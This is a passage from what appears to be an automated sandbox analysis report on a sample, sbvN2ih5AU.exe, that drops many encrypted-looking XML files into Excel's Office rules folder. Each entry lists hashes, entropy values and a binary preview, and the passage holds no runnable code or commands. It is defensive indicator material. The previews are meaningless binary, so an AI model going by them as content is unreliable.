Preview:	<?xmlE[..)....A0zI\|..._\|w..4$r...`...2A_....m..S..n..$AA8~?.....5..o..I...UZ0-2.l].-...K.7>.'........-.Q.>..i.w}.}..x....g..u.e.....!......I.>...b..G.....K....8.....D..b...sMB..y.L..q..F`..C.a.....Z.[....H6ip.mV..h.9:R.h.9..Q\.%7.]Pv.....).."s.U...=R.S.i.j...#8......\|...~.....{n..>... KE%G........E..o."ck.\m..c...O.p2....N3...7..b.:n1.D...8....}.6....o,O$....'7m.J.t.W./..7Dl........D.....1........-..).m.b..@..:.....I..[...7Vj.n......LP...n....v.A....w..V..h..cp...ru7.4.Rp>...i.-ts..N.....]1e....1.....+..#...-..j4.d.5.d.U^..w....S.. ...8.8..\|....j..dOf...Ju.8h.o@...<'...o.K...P.\|-%........W".."t....%P.VE3v.\|.>.\Z.U..........~..<..~CU.Zl.._V...\..;,.ij..V.Y.>...k_..jz/u0Q..u..f......@.._.\|.Ye}L..%..XH..>?fg....#.{o..H.%....8...q!..?:.$.S'...9.S.,.L.1O.....<.?.,.6n$3]....f9.k.}...j..F..f.{b...!aw{..M..k.$..oe..{k....r...{...$M.Zz..bR\| .k..IJ..".){..%.n.F.CZ.!..N..]0q.9.n.....3..9..U...P.........8..l.}.p"...ZU.i;.T...:d..22.^...,..P"3.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule11933v0.xml

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	3677
Entropy (8bit):	7.9484103360795615
Encrypted:	false
SSDEEP:	96:YQjudH0Yxyac7ziOQGIweje2OrCMYmlelzvZ3o:ludj0aAziHG9ejqFMc
MD5:	2CBE9A25E6EEF994B47A464A0EA513C2
SHA1:	83C921AD733FB3D07BA883EEA4DA35FB0E69E7C9
SHA-256:	A97B2F918E38EDBA08A79E0EBEB68B8A8A80F7F57C8FC6162F896E62424F85B3
SHA-512:	53F21C353735BE85EE43C9DD16B21E5AAD1231943AAFB3600205E9BF2513AEAE0C27F57E3DD6AB872E4BEBE2FFE490794B341B0C20F48B1866313FC3A0505082
Malicious:	false
Preview:	<?xml@[.......]...>?...4}..]..`..{.K..5..V..g.........W....U.Dz..I..bSN....G......$..DT...y.,.X.,... .....j..........%i...h]%..?..4.5.V..#%..I...tt...d.G....v....ja.I1.3u2..A......sM....8P.....,00..;cC.[...).tK.<..v..N....0:..S.{...h.m./.....hO..m....q..>..;o...N.[Tc b..,..t..l........\#..7'i...=.K..d..$.]MC..k=.>..C..O..S.<.."..........B.....j.....feF<.uSP5ie}...[.........R..^...y.;.5.ptQwyG.....(.....5v.!...^...h..Z....=O.......L.]'.1.Mk.....!...e.G.C.v.).l;Q...U..6...l%18c.c......<.s@x~....i..7F.S.B#:X.y.....W..i..>...T..8-......bY.]:.....x.y&B..C......o).T.\z.nM.\..^v.tW_....8. 5.M.....L..`..9.e}L.}.,./.....S.vi.^.).z$..gG,......t......hl.P..}...w.2uU.......q.....\...."j..-q....Nx.C....cr.....wC...h....%....e...?fE.1.....Z]W.G....~.;/.H..l..B..\|Bz...x..........=l.l.i.m.CIh.l.`.}.@.j..J.xD.L,..<,.p...@.lt.9.....zRc .@l...a..r.G.....%6.t.\|...1..<...D........".,...z..ha.pGF.W...\.m.~.1F. h.d..J......q.........NC..u}Mn..D.e.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule11939v0.xml

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	744
Entropy (8bit):	7.7043265602257405
Encrypted:	false
SSDEEP:	12:l0aAzOqATyc2lVlSByas9KoeWx4LXO9oyKZn0lPgs6C/JlJTSSUdNcii9a:rAzOJyc2ltaeKo67bErF12bD
MD5:	DFB93C429850D3B9F1E992FFD0288F8F
SHA1:	D588FD936EBB6C2A5ACB7ED3B86D2F898028D9C9
SHA-256:	61996BD9772397BC84976BE34F3C1A6438707FD4DE41F81B039FDE77857EF821
SHA-512:	348C9C2A1285C8EA1C51A1FAE47B0719A70DBE26E6EFCCB159B6FCC02A85E5FA0A8D425B1887107EC672F13384830ACBA33E76A339814C5E68C99C5DF49F7770
Malicious:	false
Preview:	<?xmlx...n.s...]38...e..9._5f.M....[.R.Hb........=.....I......M.b.......d..E...\|....J..`.2{-.F5.{..T.....M.k./.....-......,m.....G....x..r.Fe.....X.....C.PS/.OI.......wqe...!...^.B.n.M.Jh........Ws.z.=.d.....-">.:3..).....p..U.......L...W.Qj..0.g.^'..2..Mr><..xS6..N.b.b..t[&..LvK..>.o...=.q....R2-...r..F./...../k.c.....%2s...1zK...up....O{./.\............H.xo".!.......\|Y.M.m.St"..F..l..wD^#.....j_v..R...r..........:....Y..).Ya.acu....+5R...).1^..^.kBR.BFq...-9nO...P .u.v.z(H...MO.76H)......g....Eq.T.-.&.E....o'yU....xf-"...E,.....{}j.w..s5&W..h.K.\|..JU....p.]-.-...@.L....5.n....&>.7.4.7..6b7,..O.C...D[..F......e. ....z.mMsRxMUuXypapZbGOAfxD9pczHmW8zVRP7Pgjwt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule11950v0.xml

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	1620
Entropy (8bit):	7.882465703333706
Encrypted:	false
SSDEEP:	48:AySJGaBuzRE6DBnoxa5TTVD3rwdXP17wuLMeZJ7muA/BbD:CGLi6dnT5vVjrwtPB5PzCuIB
MD5:	E1A9E468E80A3F41A30D7BAC9974DDCC
SHA1:	0C048CB7D67B036770AC97982D5EF4E11D6FED0B
SHA-256:	C8F00C32A5B7E5408E1A7A1BF9CE48152F622E6CB3AE02A07EB0E91D150EE95D
SHA-512:	FC4065007268774B874B60043F68AAEF1D8978DF4715D817E6221D250B1B30403FADD751B74460E2EC2100FD04A29E60050B1EADF804391C173D2219764CAC52
Malicious:	false
Preview:	<?xmlH......Z.sb.WUW.j..kZ.....T......7...L..b.yLA\|H.....>....>.Jj....(...y>EUz.\|........;.r.r..I..W....u......Yj..H..pm.."....8..V_....v.....@.:..~...Z...u_......s;.#...K./...~...<.ZN.eW.E[2?....^.... /...]....?&\1mu..........x...8.3.._.&."6.....86.2..h$...j]#...._..5 ..`,'O{k..J.b\|.%..W....H...[a...zUI....[O...h?.4<&..b^.[X...0`..TTg..{..[.N...#.7\|.}-..< ......1c-.f[r^.E]..x..l3p..._/...>.2..\|U..15O..zjR......_......(..#.).oc.....{<c..#.T.d.^x..R.U.Q]...m...7....v)...PF.RZ.Z\2_...2{.....~f:K....FJ!. ....x.qC.......'.......>.0.K....F...K.4k<..5\|.j.......Qi....\.....A..)......q%......./q".....l.H.@.E........_\.Z..T....6.\4...........?\3..QQ...@1....>..h..j.'JWmm.K._l.23...s.....i&(:..9....a...].W(_..\|Z&....\|_.p........m...m.`1..cg......].6P#xv.....`WK.......\|75..DF!-3..U....x...Z.lP....H...W....$RF...W....2..%.>..l..(..........^....n.}..^u..e..N......... e. ....k`.k..P........C+#.e.....a....J........;.N...,.......

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule11981v0.xml

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	821
Entropy (8bit):	7.75605313804346
Encrypted:	false
SSDEEP:	12:FvI+5Tws3w1b3ctt61v1ZKlZlD5hQ1okhODMJS7Mbk5g835fH5FcrmEsWSUdNciD:N5TVw6/6N1yD5OikIg0HtZFcqEC2bD
MD5:	8ED6C1829CEF39930853DCD8835FB803
SHA1:	6D4D482C6E9872733B456F50B4EDB16AF5F7791E
SHA-256:	2B931A9EBB4041957ABD51D22101588CC45EDD9CF51CD4E2FB48288FF1079193
SHA-512:	6EB267D6D5C382812B6A8D5BAA16CC0A1F6DA37FBEBA7171536B5F6A8B869213E693CC6298AC3E20F77927202CDDCFDDC8D3AE05F923CF9101F3FAB17B2B44EA
Malicious:	false
Preview:	<?xmldn.4.H..9.....X.S.o.T:....5.......yL8.R4...j"...37....y..q~o../m..]x=y.KM...x.....7r..?.M...M......q.o.7......z....pC.."6..!<.b..mKQS.i.].....La.q.N.,.h.V..-......v.8...ne..m..7..D...$.T...(:.4.L...i..x[Q.S}....C..M......."..~.#.......Et...`..p..=...&....7.. .I..F'x...9...#.L...1..t..#m..\.Y?..HK.v....`i..Su+..R.pj2l..pQ..0..2^.ccc.3.g.....e.?;?.0.!.B.$.:..C'1s....C.s.O...}.....;k.<..K....PY...'da...%o..,`(x5I.,..h.C.....^H...8...tfd.AnD..m.c0QRdX.............?..t..-...].e..$r...3Q.I..ow....+.5..%..v........j8.f.~......{l.@..GF...`BWo.Q..d.3....Y...\......j...4}.~.~.t...B.......nw..\....:...ff&.6n.~R...(.:......!....Q~......=....'=..).mn.....h..f...M......BF.@..G.'Mb;....!.P(.mMsRxMUuXypapZbGOAfxD9pczHmW8zVRP7Pgjwt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule11989v0.xml

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	1034
Entropy (8bit):	7.808114215322029
Encrypted:	false
SSDEEP:	24:4eShwhKJ6IHkm93TkM4oIy2Yqv2mCHdOU8a6tC+2bD:ZxFzyvWPYqv2Hd5sED
MD5:	2143248082327A2DA17ABED253E0549F
SHA1:	9238B21D89219569C1B391F443F5F4DD1E16D39C
SHA-256:	99EBB85FA9A2C6EC6BCFCA4BE64E9CAB9C965622A10BF11EB2B46D501441C059
SHA-512:	FC3F77A32C929086A741357550812C5631A3571971248D998E5D0D28B1B0EC2700053B96592FC01017BD9CE261DC62AB81F939B513E3E7E116B1CE7743BE178F
Malicious:	false
Preview:	<?xml..O..u0{.h..... R..Y@.U.B[)....~.r....L'<.~ .].o,}..A.e...0..$V/.%U.>..,..X.j'%8.cW...Ep.........%-..Rh\....#a5....k?!..jE!..K....nc....E...6..K..0.....4=m....#..].U.$.E.....z[........5r.......8']1#..8.......D..........0..dU2SB.&..)q..~."..q.4..Re&..........%....1$..V.qx....I&~.........^..g.....6.6.l.^P....w..$..1.....?c..'.[...s..X.<..6d...g..-q....._.f.].....(8.1..!..D..D...cj...I....j..H.N........P....,...Pi&...J....._......_....I.......;O=..2....\Z....ZA.J....:.....hr...m...Wu.eY...NO...[....G..!asdLG....m(.[E..o+.....p('8.@...U.uZ. ......$..9..E$..T.....j]..&,.3..)5=l6...o8...[...S.!.......sx.M..........Y..!6'=.`..{.c..i.....>D. .....M....'...x..t..S.I..Q.n.#.d...G.t^}..BB..F_II18..L.......i.tU95...C....\...j&,..5.;6WK.a.-....v .'k<m8..Q....#..6.$..#?.&.t..m2...C.5.zvFNq......[O&.~...]..^`I..`,.uv..U..l....Wf.....(..S..u....x9$.5.6.....aJ.A..:8.x.\..`....?.?.=...q..uXQ...i......mMsRxMUuXypapZbGOAfxD9pczHmW8zVRP7Pgjwt1{36A

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120100v3.xml

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	1333
Entropy (8bit):	7.840762315383882
Encrypted:	false
SSDEEP:	24:ZhquW4PsombRaaCYVj/A0V6GaSTxTP7f/+7D7HMwo2bD:ZhPjPRiR/vpVPxTP7mbD
MD5:	A35585A3E34062BC1804B940D489FF60
SHA1:	EC85184974A6159291B849BE503D32EE2F8464F4
SHA-256:	07E216CA31F900A5587A2A942D7D832CD92166F6F37F1D81DF10D4E3307EE2E5
SHA-512:	CE4B87819A4C5DF36302E33480A67E61BD01314755E9773089165BD064F5C3F74A5D5AEE926CBA47266AE6796141B4F8C4AB26DEBA4A8D5B108C0736361BB735
Malicious:	false
Preview:	<?xml..jo.XH.C....ik.5`G..d$..Mi.C..j..e.1v.R..{.<.Xh.^m-\|.(......w....b.. =.UW.3.....3..V.0.Y.8.~....m.....T.E>Z...k'f.3yv....M-.T`#p.fz..Ka.......u..>Y..R./.{... .-...p.I..,.Z}y5...P.o..4%.9.B..X.hCMtq..u.."..........R.8........?..R..$P.Ry..U....T)D.T.1.....7m3.7..o]8.['.~;..g7.....z.@....M`.yZC..v&ae.DT".......-mN>.W..h.}X...e.u....Y'...LRj.B.\..t.%.!z..../....K......IzX,...k..\|.Tj..l.&.._.}....Y.\|.=...).3.C..(.!.....,.i.=.M.8.q..?4.....P.P...S;......y.=.\|....J.W..;L.M....A..>..p..7.T.8...J&.h....4..]M....o[.7...}.RI......L...R..l.....~.M.].z...5W..6>...!......-F....[.zk=<.!...p.....y....I.......0..8.[wwb.D......Q?.L.Z.....G...R..'W..(.n..p@.o`:..y...g..6.+.?0..];9.YfWh.a..7.x..]....Y...zN......w9..{8..w..d.....N..C..."v.,.P......>....b$?&qQ._[.e....].c..L.b.)RDQ..p!....J.On.-(..c.....Vqf..u.#._4..=S..\B.......[...-Zb..n..c...s<4..+..k...~00.N.F;<.*~.[{...a..(....5.7.e..3.C.t..L.>.O........{...4o..:h..3..F.Z.\|..4...enM6..."l....g...;j.N..c

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120107v6.xml

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	2514
Entropy (8bit):	7.930814299919838
Encrypted:	false
SSDEEP:	48:9CXAZ2BLyR9sAsaBlh0ADYFU2tvkuEAIKaIDah+YDOboidP3zG7D:qlE+cXxEU2V7EACIDataboidPDo
MD5:	7586BF341DC683FBF5955F3577811010
SHA1:	385D9A9BAA22E45FB8C9A0BA77083CAE5AAEC23E
SHA-256:	4EDE409EC1C818E76A18FED491971A88B91DCC306615E56F54DCE5DB109DA4B3
SHA-512:	25BFB5BE223A6253022F42812ECDD31830DCC087873DEF2CC9F7EFE2E79965457D4A835F31D302F84474AA992909EBD9B8B2E6772A0562D3841B0AA89AF1DCDF
Malicious:	false
Preview:	<?xml.~>$=.x.....O.....FH.\|.w.....o.O\...r..q... ...h..$.[...9].6......5.sho...Q.A..W...Ox;A.&.u.=.C4.87p...PD..........9k.S2.....J1..S....3..&#.kk.eM.m..4=?...4......aoj.....5[..h.....7#..~B>.yb...."..u.H[..?&{..l.b...>.l.]l.....]..dV.'kX...c...dQ.....V.M.....i..\..Fz.d=..zI.......>.."8&.5.O.Y.........R...+...X.w#...}..qWm...?J.c...A>y.......M.).BIA..n...qugY]..&.d."e4..@eqcG......\|+..Z.{..{5.[.yq....L[}...J.h..$.~....@...5....(..lb.e.S)...KF.:...B.t...P.......E.......6h.G.<z@Q......7.1W.ic...T.K(.....`...h......JRF..q#K..<..Gy[.)Y.........p...#y....{.G.<. b......\|f9...~..L!.z...m.'`.W_,7@..\|......rBW....8....bj..7.4.g..".(/"..?vR.....f......X.)...Co..V"'...}....\|...d.4.3.G..@.....r.)e.....o~m...U..lts'?N...i..6..ofk.2yd.M=)..v...V..r.m_.cwJ..O....hl...C...t...."..r...D..."M...$....n.{..t..+..."...(......6.....\.y..;"..P..A.V.=?.........:..I..@.?.O.... ....m".L...~....1...g......C...~....69!).O..10.1....A..@.G.b....8r.0.!/.@.48.W\...

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120110v4.xml

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	1346
Entropy (8bit):	7.835374365816639
Encrypted:	false
SSDEEP:	24:X4FmNUWGCjUxG1otaEGQ1c6CSUiIAsrGu5UaeboY6GWKYpkcM2bD:osnJUwqtxGKcvpksr5ekY/WRhD
MD5:	920663A4359AA56A6BC1C974F4638E30
SHA1:	77253E359D5E52CE5F980034D2C275CEAFEB5661
SHA-256:	879C350656C6F88C5516E8628351A156DD5679F2454D9A4FFDF2704E423EAEB0
SHA-512:	4EBAE65788067DC116FDB9DE3007DC7B57E60EFD8D1DF5033819D2564AAFB7FE700EDA4782310F85B3A9E13B88B6A2C483A2BE21D279A6955DA5AE6E92CEE823
Malicious:	false
Preview:	<?xml\|.8.Z.....U...+.k.be.......?..m...C......xx......23.#l.?r.Co}.6.;T.1Z..3..d"J...<.ZT.....Arf..;..=e.[..e.62.. ...O..$..g.V...-...zw........b.}..p..m..D..c.=.O.......8F;.....fz-.."...3?.<...4..>.>.A3.y..R.L.....zPN..n..KIE....6g..+..V[.>..).gh.W.fg...\...........r.0H-3Lt.)l..........3.c.]\.......g.....;.V.X.....q..@...U.....\|gCv.{f...~.(.k..E\.i~....(...x...2.n.:...'...ss....BK...D(5...['N...>.%u....we@C9.H...3.Q2....wzN.&...L.b..Y....\..;......+.5.y...../p......h...%...\|.....K.]...j..4.........CHV.....P6..n.....B^'h+D...A.....;5.2...J.j5l7f./x...."...m.a..8."R......u,.....9..s...K..k.D..z.j[.+.HY4k....9..x.=.H.U...%..tf._;.C......p.....y..:....#.5=.+.......7...O.....t... :9q.i.<..#V..].'..;.........p.J...f.....Kt..Qz!.t29\|U.e.k9S..`..8....r.6cf..;.[.....4.v...E.....T)..b4...&l.f..l3...!.I.O~R....G....4......c..b..M...Q..".$..uk%..0......A\|.A...[..t.......{.4.SPl.2.u....q.f....b.D.$.fuw.@...*.....DT.t...Y9n..)I...b

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120112v1.xml

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	1041
Entropy (8bit):	7.83370366681314
Encrypted:	false
SSDEEP:	24:GezUa7HDJLuOQInAPjq92g0+amMTD282bD:GCHNLcSAb60+lMTD2PD
MD5:	721A863C451EFD1C2BC48ED74108DAC4
SHA1:	7BE0E9507395C098073A5C3E314FC5B87183FCE5
SHA-256:	6F3E1DD139DF30F6BD1784ED0B2B1EAD017C0931BC850FD8298EA97AB2F05AB1
SHA-512:	EA69560D0FFDA0494F7127B48DF128872D0F2E4E578DE9AECE5DB01603E592E516EDBEF0E90D04137EACEDED02EBD49CDAF4540E583BCBED8BE5712516D1F251
Malicious:	false
Preview:	<?xml..r.5.b1..D.....ln2L<t..p..7..`.xv.{G...F.}.=....m.>.'...,..n.z.....8$.#..j(rC..L.>E....`..%..\|..Q:8 .u...U"......$W\.CQ......vV.....(...N.....k.V...f..D....G/..Y._...W...C....w.$...bPO^P......r...J.lp.\y...c..X..b......<......[..........h.Qh..ss....Yx...'....o\|H.:.d..#.n!?.j..'....E..!...n.)..U.6. 3.fk.[...0.s......ukn.].'WG.\.ut:hA....bc......".s...P9.6....w/..\..co~....&mU.H.@..x....![v%..tr.............K#...\|...g....C9!1{..I.hy.....S.V..?V. .K..97......f.u%.......Y......".v.)G.X.....U......yg,k......nC............0.k..b.U{...&B]4..{...vV..KH.f..O.^..F.>......GZ...t.p..>9...#..1?.._.u......X...eR..f........V......i...... ...V.#..I...U..../I.M.h..d...Q.9=OJ._.;..&....`....7V....U.<....=.0.....M?..c..\|:.(..w..k.Q...}...8..:......'&N...OTSt..{...E..e#w......@S..,..)9j........l...]...<...4Ok.;....+Q.....w..*U.DW.....W.B...y^...?>...9.D.=.^.>C.....x....r....&...{/.....C...1....}..mMsRxMUuXypapZbGOAfxD9pczHmW8zVRP7Pgj

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120119v0.xml

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	1664
Entropy (8bit):	7.874871259571279
Encrypted:	false
SSDEEP:	48:+xYt89nS4FHfciEcbzOaJhAlcmryX3rVZTATmhW4pEbjD:+xYt8VpfNEcPzJhaciyX3rV7xwv
MD5:	D322A082EAB0B8BB5E9F70603CA912B0
SHA1:	0C693BCDB7263BD43F1BE78BBAB7308ACB8D5398
SHA-256:	9CEA2922B3CED1462E942EF37EFC2C14C34A60ABE1618132ED05C33B6D274B21
SHA-512:	9A365D56F928AAEB2EFCD799F3C9FBA135B8CB675DC72D564E60C39B1B457C9104BCB62E801DB42EA1AD96FBC2D94BC59775F5B350DE3B7C78B49CED8909B6D8
Malicious:	false
Preview:	<?xml...5..@.e.#j.g..^..@.Y.:y.[.....k2....F....VL...q.w..9....%..Oba.9...E...O..CgL..m.B%..A\kt.....D..F......}..t..&.:-.W[."z.k... S...L...#.-.......M..Q@P.k....!.r&'....W...d........g....%...+qv..e"..-.3. z.@$..!..J1$.....qx.....z...7n':\.o&..vsu.%l1.d)+.Y..nX....H......bi.p6R..Ja....\|..........&..=(.[..QB]<b~]}N.......;..........~....E..kJ,.<v........6.....jL`FkU.......q......6..m.3.!......V.W......n.1....-4.....(H....l..JF........@...9.0Nl\|....V......'...;.t.......1d.]......<+..J.k..0..uX'....>......:.o.d[....!..Z........q.aQ....".v\.J.~..l....wV...]. ....p+...-...\.<b ..W?O.R.#c...X..M.ce.!._......s.1.n._+.b.".;.=~v..c.:...."O.+.....2.E..-.:sU0~..f...q.........../.I.f%>.) ./....2..8.L.uZ...$x.\al.H....9..l^.2...Aw.}.R=TA....U.Um.=+.)U...-i..!......$..s..M.:.xh..?x.L.~C..&."..z.?..-H..`...J.8Hnm..t:.l....]....e.A.....;;?N.9...H..j...d/_ .......0..e.h....+.!\|.]gE...y..B..x...,6.".....}c.E...f.;..*..a.;.{:...u.../..0H.......

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120120v0.xml

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	1195
Entropy (8bit):	7.834364002271368
Encrypted:	false
SSDEEP:	24:U9+eHymc3FojTPteExjVDjO9IU/Z9ZPF85CfamnYJ9tU2bD:U02ym2ajT0+WykZ9RFamYJ9tnD
MD5:	D47C70A1CD9EB7F752DD2674D4CE7C4A
SHA1:	33CB0FF37B16D4DFE309674AC9AD1848D1A67E96
SHA-256:	1C40D83690226952CF47A47D1179933BD3A93EBBDD386F446FD49417909C47F7
SHA-512:	B1C07483CA7FA62C78D64B27CD1688BD8CC136B6A019EAB6348897DE4A14355A47143C8FA966BAC3ED58C060C54567B6B985A4B6968CE1022C533D52AC7BC19F
Malicious:	false
Preview:	<?xml....%.W.}.S2.d.....'.$..E.I....29...T5,.TuP.}g.w.B..?E..6...\&.........2..w.......G.+2......r(...'L....x.,.D2.C`..1..3.<3....7....&tP.y..L......h....n...PQ.....].....!.:>..&.. ..D..i..&o.-...RhaQ...~..P..W...-.S.k...f...T.;Z._`X...5 /{.S6.x.P.qY?..b......(...l.{.P7.L.LN.dZ..)`E.a...{.]..;y.[.BC....W....`.y.EO.b.......]~8..r ....._....wG7.W\|n.-.B.q)..d...cy......U.R...Z.\|..a'..S/M.+.D>......\.dT..@...1.l...R........m..no.......S..%.brP..._./.....W".u..c.%....Rs.}..[.`.......c:H:.....@.].....s.....3.X.....J.U...g..[o...~...;.W.ff.%..%T.....'R./..r.....x...`e..kT....q..Ve4.}p.t..2.N.O.KL....,.@.[....ft;..v..".@x.;.lK1.\|.}.V...(!.s!...:.U.O....l.?}%~..b.......{........t......Z0c.....['.._b/?L;.X...i.M...K..<..*.e........5........4...~..Fk3.....W j6...M....>.](...N...zfGS5.+.....c.}..=.Z.x;.-F;.O...09..p..I.t.....s....nA..c....U.W.(.^.h..9'.....o...4J...#.^......y^.....D...A.U#..J\|......J.C(.8.}.........<...5.f%.~..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120125v0.xml

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	1269
Entropy (8bit):	7.839456871879696
Encrypted:	false
SSDEEP:	24:yDU4gudX5FnOTG5RFKrLGDM82DvM9FdN/6RU3lS5aLb21ZckvWk2bD:i/gudX5FnOTKKr62DvcNSRo5IOkWD
MD5:	EF2859AE5E78662B752B2101AC9B716D
SHA1:	C19668505D82F81093A3E0981890BB498A853F82
SHA-256:	775E479B824903CE87F9D70484DBD498035D6B168BDA1C69AE97F6F6C17906E4
SHA-512:	6CF9014E4BFEDB7368D03D04FF33C08840E6313DB8DCF9C0D393223C75F93FACCDC55D0E022D000876805C87BC9180F790F36DF1B29CDE56736FC176D36F7D8F
Malicious:	false
Preview:	<?xml....Q~.?..<#C.L..0..5.L\... !6..3{.c..h.B.e...J...Mb.>.._$.:3....<.e.o.......pq...\.b.)..!...-l.I.bm-...7..\..:/.>.R-..0-3......n.).r.....F....U..@6..,...cf...]P..0.[.{\jK...<.C....3.B...D...B.x.[.$.e..knr..z].+...^.Q.TomVv.].c.\..(..q'..+m.EJ. ...q.M.../..."5.!.H.f?.;..N.V...n.^..8...e..so...B.o.......x..-..h....S..uJ..Y..7A..k...D..\.v./m......F......X.yzG'>XD:...?X...F......1;rKE.5.{.@}Q...k..>V6"TU......F.h%.EO..h.[.I.....J..#'..)../^....2CYz...g'L...~.......^0...&.........K.O.h.k<..^..1...c...C.5~<<..0&i...RJ.y$.g..Kn..9..._9.F.......................s`h.....h...X........(...y.;....x..8.E..}....._t.+0.@._...{..C[...DW..zv..e..$...].G....ZS...UB.0....$../...E...F.Y<4B.p.c.J.:...../...~u..#.V..(0.9k+.;y..$...\M...._......![tn.!..\|..V..k.)z....T{..a.....AgNCN..B5H.+...`...=.R.Gv..W.~.....T...F.G..\.Dsl.~~a..w.'3T.x....C...M.."S.t.A...\7.!.....O.m...&....].....aek\.H*..e."":.B]<....KGFlW.n.x.}...E.V...5..E...m...C.\{.{...Q...1..."....3

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120126v0.xml

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	1994
Entropy (8bit):	7.905302187386825
Encrypted:	false
SSDEEP:	48:om/PdeF7diD4bhNBGztLc9PR5Mlns38YL99t1FD:pPd4AD4bhNYcF5sYR9t19
MD5:	D03F876EF373AB671B1A6587B48870FA
SHA1:	E712FAE58F6D25C79E4C14C926BBC650E4871432
SHA-256:	53DE6E9AC77C2888E8390A8130BF2FE03104936B4EDB3FEF617C95F8A29E4DF2
SHA-512:	02E0C5B99F378D74ACAC59B4763FF96B0DDFE12479F69A5390D5C2E378624CA779B8F3BB2012BAD7C10287A4B1CACE330C9F7B7E602E1149FBDE237C07467B6E
Malicious:	false
Preview:	<?xml.E.5.>....%.....Z..mQ.:.q.a..y...\|7.....8[5...N.PO,....+..V..o...... ..Up_..m..mL2...^....n....)D.."S..p....X.]...D...~S.R........?....uq.R?Q.w...^....R........@...u.Mi..U...\|...,.l....&..{d m.M....%:lE....ok,^..]...'f....[.d.)H3.n...o...#..#%.....T.....8...a../..-.Yu.&..m./..L..._........Xf..#...z....r............S%^o..U.Rg..........2w...Y.Y..f8...w.E..<.5Y...-.!.A....?cF...e\|#.G...A..D...Ll.;..\.T.(..>..&..#$...jG=...}.7aAX4.V..........@..^G.9E...3.6.l(e.T..-.M0&'..K...W@..g2.M.M..j..<yA.rE@.........cl.....e...]w_..._.=....x[U...^j..?.'K.f.}tt.H.W.a...<....9...zzq..p...j.....Ze}.<.......0b.j-..1.(.q+.w..IEw..h.j..o.4..#ui..C...4...3Ep.X.\|..n G.+.....A...m.V8K.3k.....#.,....v.YOa.#l..4.$j%0..#........<\jv..WT....&,.=....z..P9...y9....YNz....rK.@...[@.+..P.&?.."...j..8....] .~SqH3....=g...*!t.........#.f.5.p$.....E.0........>Y\`....U...YpnC.t+"^mH...[.N....7O2..<.z2s...L..o.J.k..UL...c!.Z...(.10..@..r.X.;.6...L.5Y.dv.....

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120126v8.xml

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	1506
Entropy (8bit):	7.876489110247158
Encrypted:	false
SSDEEP:	24:kHmW7+RndR+upDNuSsaH1cKrVztSmp34LOwU8nNWUYiyE4oULWr+ZNjr2bD:kHmWOnf+CDNuSVP4ml8nii74oD+f0D
MD5:	5CBEACA145EA9DF7B9AB4B980AA1C867
SHA1:	A82801DFFF20BC25EB5CE1BC3542857F1EFD0EA2
SHA-256:	2D6C3AFFA70F81FD2959D9265629B76DC35FC4FD3D903D4F43D37045BFC32397
SHA-512:	6C2F39EB1F6C4882030C813FA5E11DC8F6BDB7C9DAC96DC4E6EC4F81A06640EE1D4F9C93562CB4020075A1F9F8FFEA8242B835D8B3F5ACF9B9EBC120B0DB4EAD
Malicious:	false
